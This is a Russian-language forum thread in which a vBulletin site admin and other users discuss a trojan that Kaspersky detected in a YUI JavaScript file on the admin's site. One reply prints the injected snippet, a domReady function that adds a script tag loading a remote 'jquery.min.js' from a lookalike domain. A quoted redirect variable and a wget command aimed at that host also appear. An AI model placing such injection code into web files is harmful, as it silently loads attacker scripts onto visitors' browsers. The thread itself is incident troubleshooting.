[Проблема]

Установлена 4.1.5pl1

Касперский обнаружил вирус на сайте в файле "\clientscript\yui\connection\connection-min.js". Файл был запостен сюда для проверки - http://www.virustotal.com/file-scan/...d4d-1314288002
Причем только Касперский нашел "вирус".

Я решил забить на это дело, но написал в их службу поддержки. Мне объяснили, что данный файл заражен, т.к. была встроена ссылка на левый ресурс в зоне .com в конце файла "var dUr="http://uasrum.ком/s1/in.cgi?2";var timerMulti;var......."

Дата создания и изменения файла этого на сервере не изменялась.
Отсюда вопрос, дырка в скрипте?

вряд ли это из дистрибутива, т.к. это файл из яхушного фремворка
где то на сайте/форуме дыра
либо на компе ищи коня

kerk, Да я посмотрел что это за файл.
На компе сложно искать вирусы, т.к. форум стоит на линуксовом сервере (не дома).
Интересно как он пробрался в такие дебри чтобы внедриться именно в этот файл... Возможно в Yahoo framework есть дыра, но тогда бы в инете было больше информации.

Буду копать

искать коней нужно у себя на компе =)
часто очень такие вот вирусы лезут на сайты/форумы через фтп-клиенты, когда ты делаешь что то с файлами на своем серваке

kerk, я согласен, но в данном случае заражение произошло ещё до того как!

Подобная сука вернулась опять, но уже вирус был другой. Файл тот же...

Обнаружено: Trojan-Downloader.JS.JScript.g
И опять Касперский нашел. Просто вундеркинд!!!

Странно, одним словом.
Файл с ВИРУСОМ в аттаче, в архиве. Не запускайте js файл дабл-кликом.

сам по себе код не вредный, но он прицепляется к тегу "боди" и уже потом тянет всякую гадость
указанный в коде скрипт - нулевого размера
run CMD
wget ****://yandextools.com/ajax/jquery.min.js
кусок кода, который прилепляется к твоему скрипту:

domReady(function () {
    var zm = "yandextools.com";
    createElement("script", {
        type: "text/javascript",
        src: "http://yandextools.com/ajax/jquery.min.js?v=1.4.8&sn=" + Math.round(Math.random() * 1E3)
    }, {}, "", "jquery-in", "before", "BODY", 0)
});

выше есть еще несколько десятков строк кода

В итоге это все равно не оригинал...
Получается, что именно этот файл модернизируется.

вопрос отсюда возникает - почему именно этот и никакой другой...

Cr00t, потому что х*YUI.